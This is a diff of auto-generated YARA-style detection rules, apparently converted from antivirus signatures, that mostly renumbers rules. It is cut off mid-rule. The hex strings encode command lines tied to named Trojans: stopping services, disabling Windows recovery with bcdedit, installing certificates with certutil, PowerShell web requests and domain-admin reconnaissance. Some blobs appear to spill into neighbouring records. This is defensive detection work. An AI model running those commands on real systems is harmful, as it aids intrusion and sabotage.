"!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,08 00 08 00 07 00 21 " @@ -337915,7 +354767,7 @@ rule _InfrastructureShared_25810{ ((#a_72_0 & 1)*22051+(#a_61_1 & 1)*24938+(#a_6d_2 & 1)*29801+(#a_36_3 & 1)*12849+(#a_42_4 & 1)*12598+(#a_43_5 & 1)*17458) >=8 } -rule _InfrastructureShared_25811{ +rule _InfrastructureShared_27126{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -337925,7 +354777,7 @@ rule _InfrastructureShared_25811{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25812{ +rule _InfrastructureShared_27127{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 02 00 21 " @@ -337936,7 +354788,7 @@ rule _InfrastructureShared_25812{ ((#a_72_0 & 1)*22051+(#a_03_1 & 1)*1168) >=1 } -rule _InfrastructureShared_25813{ +rule _InfrastructureShared_27128{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -337946,7 +354798,7 @@ rule _InfrastructureShared_25813{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25814{ +rule _InfrastructureShared_27129{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,0a 00 0a 00 0b 00 21 " @@ -337966,7 +354818,7 @@ rule _InfrastructureShared_25814{ ((#a_72_0 & 1)*22051+(#a_6e_1 & 1)*27649+(#a_61_2 & 1)*1536+(#a_01_3 & 1)*28261+(#a_69_4 & 1)*18223+(#a_45_5 & 1)*27753+(#a_74_6 & 1)*12135+(#a_65_7 & 1)*25391+(#a_04_8 & 1)*-19414+(#a_55_9 & 1)*14915+(#a_62_10 & 1)*20572) >=10 } -rule _InfrastructureShared_25815{ +rule _InfrastructureShared_27130{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,15 00 11 00 0a 00 21 " @@ -337984,7 +354836,7 @@ rule _InfrastructureShared_25815{ ((#a_54_0 & 1)*18467+(#a_6a_1 & 1)*5376+(#a_74_2 & 1)*12129+(#a_72_3 & 1)*28531+(#a_65_5 & 1)*21852+(#a_55_6 & 1)*14915+(#a_62_7 & 1)*20572+(#a_02_8 & 1)*32+(#a_90_9 & 1)*11631) >=17 } -rule _InfrastructureShared_25816{ +rule _InfrastructureShared_27131{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,02 00 02 00 07 00 21 " @@ -337999,7 +354851,7 @@ rule _InfrastructureShared_25816{ ((#a_54_0 & 1)*18467+(#a_50_1 & 1)*29554+(#a_72_2 & 1)*29545+(#a_73_3 & 1)*23610+(#a_00_4 & 1)*101+(#a_7c_5 & 1)*656) >=2 } -rule _InfrastructureShared_25817{ +rule _InfrastructureShared_27132{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,0d 00 0d 00 09 00 21 " @@ -338016,7 +354868,7 @@ rule _InfrastructureShared_25817{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*26487+(#a_00_3 & 1)*116+(#a_00_4 & 1)*32+(#a_2f_5 & 1)*14849+(#a_65_6 & 1)*25709+(#a_63_7 & 1)*30054+(#a_03_8 & 1)*1554) >=13 } -rule _InfrastructureShared_25818{ +rule _InfrastructureShared_27133{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,63 00 01 00 0c 00 21 " @@ -338035,7 +354887,7 @@ rule _InfrastructureShared_25818{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*-31668+(#a_01_2 & 1)*11227+(#a_00_5 & 1)*7210+(#a_59_6 & 1)*187+(#a_1d_7 & 1)*844+(#a_55_8 & 1)*24940+(#a_62_9 & 1)*21294+(#a_4f_10 & 1)*21318+(#a_49_11 & 1)*18777) >=1 } -rule _InfrastructureShared_25819{ +rule _InfrastructureShared_27134{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 1a 00 21 " @@ -338070,7 +354922,7 @@ rule _InfrastructureShared_25819{ ((#a_54_0 & 1)*18467+(#a_52_1 & 1)*19782+(#a_46_2 & 1)*18765+(#a_49_3 & 1)*18776+(#a_49_4 & 1)*18773+(#a_49_5 & 1)*18756+(#a_00_6 & 1)*17993+(#a_49_7 & 1)*18689+(#a_58_8 & 1)*19529+(#a_41_9 & 1)*280+(#a_01_10 & 1)*18761+(#a_43_11 & 1)*24950+(#a_72_12 & 1)*26465+(#a_74_13 & 1)*26994+(#a_01_14 & 1)*1+(#a_03_15 & 1)*1+(#a_01_16 & 1)*1+(#a_03_17 & 1)*1+(#a_01_18 & 1)*1+(#a_01_19 & 1)*1+(#a_03_20 & 1)*1+(#a_01_21 & 1)*1+(#a_01_22 & 1)*1+(#a_01_23 & 1)*1+(#a_01_24 & 1)*1+(#a_01_25 & 1)*1) >=1 } -rule _InfrastructureShared_25820{ +rule _InfrastructureShared_27135{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,07 00 07 00 1e 00 21 " @@ -338106,7 +354958,7 @@ rule _InfrastructureShared_25820{ ((#a_70_0 & 1)*17699+(#a_73_1 & 1)*30817+(#a_00_2 & 1)*25966+(#a_74_3 & 1)*26369+(#a_34_4 & 1)*342+(#a_00_6 & 1)*24848+(#a_68_7 & 1)*25888+(#a_12_8 & 1)*5379+(#a_41_9 & 1)*29801+(#a_77_10 & 1)*26988+(#a_6f_11 & 1)*29795+(#a_04_12 & 1)*2236+(#a_b7_13 & 1)*7424+(#a_01_14 & 1)*185+(#a_b9_15 & 1)*4114+(#a_4c_16 & 1)*182+(#a_12_18 & 1)*1082+(#a_b6_19 & 1)*4620+(#a_00_20 & 1)*4864+(#a_59_21 & 1)*187+(#a_00_22 & 1)*10794+(#a_2b_23 & 1)*10240+(#a_12_24 & 1)*19712+(#a_00_25 & 1)*337+(#a_2c_26 & 1)*11307+(#a_2c_28 & 1)*30768+(#a_90_29 & 1)*106) >=7 } -rule _InfrastructureShared_25821{ +rule _InfrastructureShared_27136{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,15 00 15 00 04 00 21 " @@ -338118,7 +354970,7 @@ rule _InfrastructureShared_25821{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*117+(#a_f2_3 & 1)*4082) >=21 } -rule _InfrastructureShared_25822{ +rule _InfrastructureShared_27137{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -338129,7 +354981,7 @@ rule _InfrastructureShared_25822{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*97) >=10 } -rule _InfrastructureShared_25823{ +rule _InfrastructureShared_27138{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 21 " @@ -338140,7 +354992,7 @@ rule _InfrastructureShared_25823{ ((#a_46_0 & 1)*21283+(#a_4c_1 & 1)*8993) >=1 } -rule _InfrastructureShared_25824{ +rule _InfrastructureShared_27139{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 03 00 21 " @@ -338152,7 +355004,7 @@ rule _InfrastructureShared_25824{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*101+(#a_00_2 & 1)*115) >=4 } -rule _InfrastructureShared_25825{ +rule _InfrastructureShared_27140{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " @@ -338164,7 +355016,7 @@ rule _InfrastructureShared_25825{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*45+(#a_00_2 & 1)*111) >=4 } -rule _InfrastructureShared_25826{ +rule _InfrastructureShared_27141{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 03 00 21 " @@ -338175,7 +355027,7 @@ rule _InfrastructureShared_25826{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*106) >=4 } -rule _InfrastructureShared_25827{ +rule _InfrastructureShared_27142{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -338185,7 +355037,7 @@ rule _InfrastructureShared_25827{ ((#a_4c_0 & 1)*21539) >=10 } -rule _InfrastructureShared_25828{ +rule _InfrastructureShared_27143{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,58 04 58 04 0b 00 21 " @@ -338199,7 +355051,7 @@ rule _InfrastructureShared_25828{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*97+(#a_00_3 & 1)*122+(#a_00_5 & 1)*116+(#a_08_9 & 1)*0) >=1112 } -rule _InfrastructureShared_25829{ +rule _InfrastructureShared_27144{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -338209,7 +355061,7 @@ rule _InfrastructureShared_25829{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_25830{ +rule _InfrastructureShared_27145{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -338219,7 +355071,7 @@ rule _InfrastructureShared_25830{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_25831{ +rule _InfrastructureShared_27146{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -338229,7 +355081,7 @@ rule _InfrastructureShared_25831{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_25832{ +rule _InfrastructureShared_27147{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -338239,7 +355091,7 @@ rule _InfrastructureShared_25832{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_25833{ +rule _InfrastructureShared_27148{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " @@ -338249,17 +355101,7 @@ rule _InfrastructureShared_25833{ ((#a_46_0 & 1)*21283) >=2 } -rule _InfrastructureShared_25834{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 01 00 21 " - - strings : - $a_46_0 = {53 75 73 70 53 65 72 76 69 63 65 53 74 6f 70 2e 43 00 02 00 1b 02 74 00 61 00 73 00 6b 00 6b 00 69 00 6c 00 6c 00 90 02 f0 2f 00 69 00 6d 00 90 00 00 00 d7 70 00 00 01 00 01 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 } //21283 - condition: - ((#a_46_0 & 1)*21283) >=2 - -} -rule _InfrastructureShared_25835{ +rule _InfrastructureShared_27149{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 21 " @@ -338270,31 +355112,18 @@ rule _InfrastructureShared_25835{ ((#a_4c_0 & 1)*21539+(#a_6e_1 & 1)*6656) >=1 } -rule _InfrastructureShared_25836{ +rule _InfrastructureShared_27150{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 03 00 21 " strings : $a_46_0 = {49 6e 68 69 62 69 74 57 69 6e 52 65 63 6f 76 65 72 79 2e 41 00 0a 00 16 00 62 00 63 00 64 00 65 00 64 00 69 00 74 00 2e 00 65 00 78 00 65 00 0a 00 10 00 62 00 63 00 64 00 65 00 64 00 69 00 74 00 20 00 01 00 24 00 72 00 65 00 63 } //21283 - $a_00_2 = {79 00 65 00 6e 00 61 00 62 00 6c 00 65 00 64 00 20 00 6e 00 6f 00 00 00 d7 7c 00 00 02 00 02 00 04 00 21 23 53 4c 46 3a 53 75 73 70 53 65 72 76 69 63 65 53 74 6f 70 2e 41 00 02 00 16 00 73 00 63 00 2e 00 65 00 78 00 65 00 20 00 73 00 74 00 6f 00 70 00 02 00 18 00 6e 00 65 00 74 00 2e 00 65 00 78 00 65 00 20 00 73 00 74 00 6f 00 70 00 02 00 } //101 + $a_00_2 = {79 00 65 00 6e 00 61 00 62 00 6c 00 65 00 64 00 20 00 6e 00 6f 00 00 00 d7 93 00 00 0a 00 0a 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 50 6f 77 65 72 73 68 65 6c 6c 2f 53 75 73 70 50 73 2e 41 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 10 00 70 00 77 00 73 00 68 00 2e 00 65 00 78 00 65 00 ff ff 3a } //101 condition: ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*101) >=11 } -rule _InfrastructureShared_25837{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 04 00 21 " - - strings : - $a_46_0 = {53 75 73 70 53 65 72 76 69 63 65 53 74 6f 70 2e 41 00 02 00 16 00 73 00 63 00 2e 00 65 00 78 00 65 00 20 00 73 00 74 00 6f 00 70 00 02 00 18 00 6e 00 65 00 74 00 2e 00 65 00 78 00 65 00 20 00 73 00 74 00 6f 00 70 00 02 00 0e 00 } //21283 - $a_00_1 = {20 00 73 00 74 00 6f 00 70 00 02 00 10 00 6e 00 65 00 74 00 20 00 73 00 74 00 6f 00 70 00 00 00 d7 93 00 00 0a 00 0a 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 50 6f 77 65 72 73 68 65 6c 6c 2f 53 75 73 70 50 73 2e 41 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //115 - $a_00_2 = {70 00 77 00 73 00 68 00 2e 00 65 00 78 00 65 00 } //10 pwsh.exe - $a_00_3 = {66 00 6f 00 72 00 65 00 61 00 63 00 68 00 20 00 28 00 24 00 74 00 68 00 72 00 65 00 61 00 74 00 20 00 69 00 6e 00 20 00 24 00 74 00 68 00 72 00 65 00 61 00 74 00 73 00 29 00 } //-1 foreach ($threat in $threats) - condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*115+(#a_00_2 & 1)*10+(#a_00_3 & 1)*-1) >=2 - -} -rule _InfrastructureShared_25838{ +rule _InfrastructureShared_27151{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 03 00 21 " @@ -338305,7 +355134,7 @@ rule _InfrastructureShared_25838{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*101) >=10 } -rule _InfrastructureShared_25839{ +rule _InfrastructureShared_27152{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 03 00 21 " @@ -338317,7 +355146,7 @@ rule _InfrastructureShared_25839{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*102+(#a_00_2 & 1)*114) >=11 } -rule _InfrastructureShared_25840{ +rule _InfrastructureShared_27153{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0c 00 0c 00 04 00 21 " @@ -338328,7 +355157,7 @@ rule _InfrastructureShared_25840{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*101) >=12 } -rule _InfrastructureShared_25841{ +rule _InfrastructureShared_27154{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 03 00 21 " @@ -338339,43 +355168,82 @@ rule _InfrastructureShared_25841{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*46) >=1 } -rule _InfrastructureShared_25842{ +rule _InfrastructureShared_27155{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,15 00 15 00 06 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,ffffffd0 07 ffffffd0 07 02 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 6f 77 6e 6c 6f 61 64 45 78 65 63 53 65 72 76 65 72 2e 41 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 12 00 2d 00 6f 00 75 00 74 00 66 00 69 00 6c 00 } //21283 - $a_00_1 = {01 00 06 00 69 00 77 00 72 00 01 00 22 00 69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 77 00 65 00 } //101 - $a_00_2 = {65 00 71 00 75 00 65 00 73 00 74 00 ce ff 10 00 2d 00 6d 00 65 00 74 00 68 00 6f 00 64 00 20 00 ce ff 2c 00 26 00 78 00 2d 00 61 00 6d 00 7a 00 2d 00 73 00 65 00 63 00 75 00 72 00 69 00 74 00 79 00 2d 00 74 00 6f 00 6b 00 65 00 6e 00 3d 00 00 00 d7 aa 02 00 0a 00 0a 00 12 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 48 69 6a } //98 - $a_53_3 = {61 72 65 50 6f 69 6e 74 53 65 72 76 65 72 2e 42 00 0a 00 1c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 0a 00 18 00 63 00 65 00 72 00 74 00 75 00 74 00 69 00 6c 00 2e 00 65 00 78 00 65 00 ce ff 12 00 73 00 6e 00 6f 00 77 00 61 00 67 00 65 00 6e 00 74 00 ce ff 26 00 73 00 6e 00 } //25441 - $a_00_4 = {69 00 6e 00 76 00 65 00 6e 00 74 00 6f 00 72 00 79 00 61 00 67 00 65 00 6e 00 74 00 35 00 ce ff 12 00 72 00 6d 00 66 00 61 00 72 00 65 00 73 00 65 00 74 00 ce ff 18 00 64 00 73 00 72 00 65 00 67 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 ce ff 16 00 73 00 6f 00 66 00 66 00 69 00 63 00 65 00 2e 00 65 00 78 00 65 00 ce ff 24 00 63 00 65 00 72 00 74 00 75 } //111 + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 75 73 70 43 65 72 74 49 6e 73 74 61 6c 6c 2e 41 00 e8 03 18 00 63 00 65 00 72 00 74 00 75 00 74 00 69 00 6c 00 2e 00 65 00 78 00 65 00 e8 03 12 00 2d 00 61 00 64 00 64 00 73 00 74 00 6f } //21283 condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*101+(#a_00_2 & 1)*98+(#a_53_3 & 1)*25441+(#a_00_4 & 1)*111) >=21 + ((#a_46_0 & 1)*21283) >=2000 } -rule _InfrastructureShared_25843{ +rule _InfrastructureShared_27156{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 12 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 06 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 48 69 6a 61 63 6b 53 68 61 72 65 50 6f 69 6e 74 53 65 72 76 65 72 2e 42 00 0a 00 1c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 0a 00 18 00 63 00 } //21283 - $a_00_1 = {74 00 75 00 74 00 69 00 6c 00 2e 00 65 00 78 00 65 00 ce ff 12 00 73 00 6e 00 6f 00 77 00 61 00 67 00 65 00 6e 00 74 00 ce ff 26 00 73 00 6e 00 6f 00 77 00 69 00 6e 00 76 00 65 00 6e 00 74 00 6f 00 72 00 79 00 61 00 67 00 65 00 6e 00 74 00 35 00 ce ff 12 00 72 00 6d 00 66 00 61 00 72 00 65 00 73 00 65 00 74 00 ce ff 18 00 64 00 73 00 72 00 } //101 - $a_00_2 = {63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 ce ff 16 00 73 00 6f 00 66 00 66 00 69 00 63 00 65 00 2e 00 65 00 78 00 65 00 ce ff 24 00 63 00 65 00 72 00 74 00 75 00 74 00 69 00 6c 00 20 00 2d 00 68 00 61 00 73 00 68 00 66 00 69 00 6c 00 65 00 ce ff 18 00 7a 00 61 00 62 00 62 00 69 00 78 00 20 00 61 00 67 00 65 } //101 - $a_00_4 = {66 00 70 00 5f 00 6d 00 61 00 6e 00 61 00 67 00 65 00 72 00 65 00 73 00 65 00 72 00 76 00 61 00 74 00 69 00 6f 00 6e 00 } //-50 fp_managereservation - $a_00_5 = {6c 00 74 00 72 00 65 00 73 00 74 00 61 00 72 00 74 00 2e 00 62 00 61 00 74 00 } //-50 ltrestart.bat - $a_00_6 = {73 00 68 00 61 00 72 00 65 00 64 00 6f 00 63 00 73 00 20 00 73 00 79 00 73 00 74 00 65 00 6d 00 } //-50 sharedocs system - $a_00_7 = {74 00 66 00 73 00 62 00 75 00 67 00 72 00 65 00 70 00 6f 00 72 00 74 00 65 00 72 00 2e 00 65 00 78 00 65 00 } //-50 tfsbugreporter.exe - $a_00_8 = {61 00 6c 00 74 00 69 00 67 00 65 00 6e 00 20 00 63 00 6f 00 6d 00 6d 00 75 00 6e 00 69 00 63 00 61 00 74 00 69 00 6f 00 6e 00 73 00 2c 00 20 00 69 00 6e 00 63 00 } //-50 altigen communications, inc - $a_00_9 = {74 00 65 00 73 00 74 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 } //-50 testpowershell.exe - $a_00_10 = {6f 00 64 00 62 00 2e 00 74 00 65 00 6d 00 65 00 6e 00 6f 00 73 00 2e 00 63 00 6f 00 6d 00 } //-50 odb.temenos.com - $a_00_11 = {2d 00 45 00 78 00 65 00 63 00 75 00 74 00 69 00 6f 00 6e 00 50 00 6f 00 6c 00 69 00 63 00 79 00 20 00 72 00 65 00 6d 00 6f 00 74 00 65 00 73 00 69 00 67 00 6e 00 65 00 64 00 } //-50 -ExecutionPolicy remotesigned - $a_00_12 = {20 00 2d 00 66 00 69 00 6c 00 65 00 20 00 } //-50 -file - $a_08_13 = {00 00 00 00 00 00 00 00 00 00 7a 08 00 00 00 00 00 00 00 00 00 00 7a 08 00 00 2e 00 00 00 01 00 00 00 7a 08 00 00 31 00 00 00 01 00 00 00 bd a6 02 00 0d 15 24 00 6d 02 00 00 32 35 62 33 62 34 39 30 61 62 31 38 00 49 6e 63 6c 75 64 65 73 00 54 65 63 68 6e 69 71 75 65 54 72 61 63 6b 65 72 2c 42 4d 4c 75 61 4c 69 62 00 00 1b 4c 75 61 51 00 01 04 08 04 08 01 00 00 00 } //0 + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 61 6d 65 64 50 69 70 65 55 74 69 6c 73 2e 41 4d 00 01 00 06 00 73 00 62 00 5f 00 01 00 08 80 01 5f 62 73 20 3e 6e 75 6c 01 00 0f 80 01 69 6e 73 74 61 6c 6c 75 74 69 6c 2e 65 78 65 01 00 } //21283 + $a_6e_1 = {6d } //-32758 m + $a_70_2 = {70 65 01 00 06 80 01 26 20 65 78 69 74 ff ff 48 00 64 00 67 00 30 00 36 00 65 00 33 00 39 00 65 00 2d 00 37 00 38 00 37 00 36 00 2d 00 34 00 62 00 61 00 33 00 2d 00 62 00 65 00 65 00 65 00 2d 00 34 00 32 00 62 00 64 00 38 00 30 00 66 00 66 00 33 00 36 00 33 00 71 00 00 00 d7 d0 00 00 } //25701 + $a_00_3 = {05 00 21 } //3 + $a_46_4 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 6f 6d 61 69 6e 41 64 6d 69 6e 73 57 68 6f 2e 41 4d 00 01 00 06 00 73 00 62 00 5f 00 01 00 08 80 01 5f 62 73 20 3e 6e 75 6c 01 00 28 80 01 6e 65 74 20 67 72 6f 75 70 20 22 64 6f 6d 61 69 } //21283 + $a_64_5 = {69 6e 73 22 20 2f 64 6f 6d 61 69 6e 20 26 20 65 78 69 74 01 00 0d 80 01 77 68 6f 61 6d 69 20 26 20 65 78 69 74 ff ff 48 00 66 00 67 00 30 00 36 00 65 00 33 00 39 00 65 00 2d 00 37 00 38 00 37 00 36 00 2d 00 34 00 62 00 61 00 33 00 2d 00 62 00 65 00 65 00 65 00 2d 00 34 00 32 00 62 00 64 00 } //8302 condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*101+(#a_00_2 & 1)*101+(#a_00_4 & 1)*-50+(#a_00_5 & 1)*-50+(#a_00_6 & 1)*-50+(#a_00_7 & 1)*-50+(#a_00_8 & 1)*-50+(#a_00_9 & 1)*-50+(#a_00_10 & 1)*-50+(#a_00_11 & 1)*-50+(#a_00_12 & 1)*-50+(#a_08_13 & 1)*0) >=10 + ((#a_46_0 & 1)*21283+(#a_6e_1 & 1)*-32758+(#a_70_2 & 1)*25701+(#a_00_3 & 1)*3+(#a_46_4 & 1)*21283+(#a_64_5 & 1)*8302) >=5 } -rule _InfrastructureShared_25844{ +rule _InfrastructureShared_27157{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 05 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 6f 6d 61 69 6e 41 64 6d 69 6e 73 57 68 6f 2e 41 4d 00 01 00 06 00 73 00 62 00 5f 00 01 00 08 80 01 5f 62 73 20 3e 6e 75 6c 01 00 28 80 01 6e 65 74 20 67 72 6f 75 70 20 22 64 6f 6d 61 69 } //21283 + $a_64_1 = {69 6e 73 22 20 2f 64 6f 6d 61 69 6e 20 26 20 65 78 69 74 01 00 0d 80 01 77 68 6f 61 6d 69 20 26 20 65 78 69 74 ff ff 48 00 66 00 67 00 30 00 36 00 65 00 33 00 39 00 65 00 2d 00 37 00 38 00 37 00 36 00 2d 00 34 00 62 00 61 00 33 00 2d 00 62 00 65 00 65 00 65 00 2d 00 34 00 32 00 62 00 64 00 } //8302 + $a_00_2 = {66 00 66 00 33 00 36 00 33 00 62 00 00 00 7a 08 00 00 00 00 00 00 00 00 00 00 7a 08 00 00 00 00 00 00 00 00 00 00 7a 08 00 00 31 00 00 00 00 00 } //56 + $a_54_3 = {00 0e 15 13 00 2b 03 00 00 32 61 61 62 33 37 66 37 34 30 33 64 38 00 49 6e 63 6c 75 64 65 73 00 42 4d 4c 75 61 4c 69 62 00 00 1b 4c 75 61 51 00 01 04 08 04 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 0d 5a 00 00 00 05 00 00 00 06 40 40 00 45 80 00 00 46 c0 c0 00 5c 00 80 00 1c 80 00 00 1a 00 00 00 16 c0 02 80 45 00 00 00 46 00 c1 00 80 00 00 00 c1 40 01 00 01 81 01 00 42 01 80 00 5c 80 80 02 5a 00 00 00 16 80 00 80 45 c0 01 00 46 00 c2 00 5e 00 00 01 45 40 02 00 46 80 c2 00 46 c0 c2 00 85 00 00 00 86 00 41 01 c0 00 80 00 01 01 03 00 41 81 01 00 82 01 80 } //0 + $a_80_4 = {9a 40 00 00 16 80 00 80 c5 c0 01 00 c6 00 c2 01 de 00 00 01 cb 40 c3 00 40 01 00 01 dc 80 80 01 05 81 03 00 4b c1 c3 01 c1 01 04 00 5c 01 80 01 1c 81 00 00 45 01 00 00 46 01 c1 02 80 01 80 00 c1 41 04 00 01 82 01 00 42 02 80 00 5c 81 80 02 5a 41 00 00 16 80 00 80 85 c1 01 00 86 01 42 03 9e 01 00 01 85 81 03 00 cb c1 c3 01 41 82 04 00 dc 01 80 01 9c 81 00 00 1a 01 00 00 16 c0 05 80 } //�@ -25600 + condition: + ((#a_46_0 & 1)*21283+(#a_64_1 & 1)*8302+(#a_00_2 & 1)*56+(#a_54_3 & 1)*0+(#a_80_4 & 1)*-25600) >=3 + +} +rule _InfrastructureShared_27158{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 75 73 70 42 41 53 45 78 65 63 2e 41 4d 00 01 00 08 80 01 65 63 68 6f 20 73 62 5f 01 00 05 80 01 20 3e 4e 55 4c 01 00 06 80 01 26 20 65 78 69 74 ff ff 48 00 34 00 30 00 36 00 30 00 37 00 } //21283 + $a_00_1 = {39 00 2d 00 33 00 34 00 32 00 37 00 2d 00 34 00 34 00 62 00 31 00 2d 00 62 00 37 00 34 00 35 00 2d 00 61 00 31 00 63 00 39 00 38 00 35 00 64 00 30 00 33 00 32 00 31 00 35 00 00 00 7a 08 00 00 00 00 00 00 00 00 00 00 7a 08 00 00 77 00 00 00 01 00 00 00 bd 90 04 00 2a 0d 65 00 f9 03 00 00 21 } //57 + $a_46_2 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 70 70 44 6f 6d 61 69 6e 4d 61 6e 61 67 65 72 54 79 70 65 2e 41 00 4f 62 4d 70 41 74 74 72 69 62 75 74 65 73 00 12 14 ad c2 ad e2 c2 04 17 e7 fc 8f c7 05 67 0f ec e3 e6 e6 d7 ac 73 bc f2 } //16675 + $a_3f_3 = {3e 80 0b 0f a7 e6 80 fe e3 8f c7 05 67 0f ec e3 e6 e6 d7 ac 73 bc f2 3f ad bc 3f bc 3e 80 0b 0f a7 e6 80 fe 14 8f 93 67 04 ec 0f ac e6 e7 80 19 80 ea 04 f2 ea 80 00 00 1b 4c 75 61 51 00 01 04 08 04 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 0a 74 00 00 00 05 00 00 00 06 40 40 00 45 00 00 00 46 80 c0 00 85 00 00 00 86 c0 40 01 c5 00 00 00 c6 00 c1 01 